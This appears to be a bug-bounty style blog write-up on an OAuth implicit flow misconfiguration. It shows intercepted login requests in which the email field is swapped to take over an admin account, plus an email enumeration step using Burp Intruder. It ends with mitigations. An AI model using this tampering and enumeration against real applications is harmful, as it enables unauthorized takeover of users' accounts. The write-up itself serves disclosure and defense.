Introduction
In this article, I delve into the potential vulnerabilities of OAuth Implicit Flow, specifically in gaining unauthorized access to user accounts due to a misconfiguration in OAuth Setup. I will examine how this flaw allowed me to access the accounts of hundreds of users, including administrators and employees.
What is OAuth Implicit Flow?
OAuth Implicit Flow is one of the four authentication and authorization flows used across different platforms and applications. This flow is designed for mobile applications or single-page applications (SPAs), wherein the client-side JavaScript code directly communicates with the authorization server of the OAuth provider.
The Implicit Flow allows access tokens to be obtained without exchanging client secrets. After the user has granted authorization, the authorization server directly returns the access token to the client application. The access token is then sent directly to the client-side JavaScript code without the need for a temporary code exchange for the access token.
The OAuth Implicit Flow follows these steps:
The client-side JavaScript code initiates the authorization request by redirecting the user to the authorization endpoint of the OAuth provider.
The user authenticates and authorizes the client application.
The authorization server sends the access token directly to the client-side JavaScript code.
The client-side JavaScript code can then access the protected resources on behalf of the user using the access token.
For more information about OAuth grant types, you can visit this link: https://payatu.com/blog/oauth-grant-types/
Exploiting OAuth Implicit Flow: A Step-by-Step Guide
I performed a simple attack on an application that used Google OAuth for login to demonstrate how the OAuth Implicit Flow vulnerability can be exploited.
1. Captured the OAuth login request in Burp.
2. It was observed that the application received basic user information from the Google OAuth service. It then logged the user in by sending a POST request containing this information to its authentication endpoint, along with the access token.
POST /api/dashboard/login/google HTTP/1.1
Host: oauth.domain.com
User-Agent:
Cookie:
{“googleId”:”1234″, “imageUrl”:”https://abc.com”,
“email”:”[email protected]“,
“name”:”Attacker”,
“givenName”:”Attacker”,
“familyName”:”K”}
3: Modified the request by changing the attacker’s email to the victim’s email.
POST /api/dashboard/login/google HTTP/1.1
Host: app.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0)
Cookie:
{“googleId”:”1234″, “imageUrl”:”https://abc.com”,
email”:”[email protected],// Changed email to admin’s email
“name”:”Attacker”,
“givenName”:”Attacker”,
“familyName”:”K”}
5: Forward the request. Observe that it redirected to the admin’s account.
How Did I Discover OAuth-enabled Users and Employees Through Email Enumeration?
To find out which users and employees had OAuth-enabled accounts, I started by looking for endpoints where I could fuzz email addresses and usernames in the app. After some testing, I was fortunate to find an endpoint using tools like Paramspider or waybackurls.
The endpoint I discovered was https://sub.domain.com/xxx/check/?email={email to fuzz}
The response from this endpoint was disclosing information about OAuth, 2FA, and passwords.
{“status”:”success”,”data”:{“email”:”[email protected]“,”status”:{“isExist”:true,”service”:”auth”,”havePassword”:true,”is2FAEnabled”:false,”haveWidData”:true,”userOrigin”:”wid”}}}
Screenshot
This endpoint helped me enumerate users with OAuth-enabled accounts. I captured this request in Burp and used Intruder to enumerate usernames using a payload list of usernames from Seclists and Employee names in the following format:
$user$@domain.com and $user$@gmail.com
After Successful execution, we received the “200 OK” response on existing email addresses.
After getting a list of all the users, I could access over 100 accounts using the OAuth flow.
Mitigation:
- Implement strict validation and verification mechanisms for OAuth tokens, ensure proper token expiration, use short-lived tokens, and regularly audit authorized applications.
- Implement the rate limit protection to avoid email enumeration.
Impact
- Attackers can identify valid email addresses for targeted phishing and social engineering attacks.
- Attackers gain complete control over user or employee accounts, potentially leading to data manipulation and unauthorized actions.
- The vulnerability could lead to severe business disruptions, financial losses, and reputational damage.
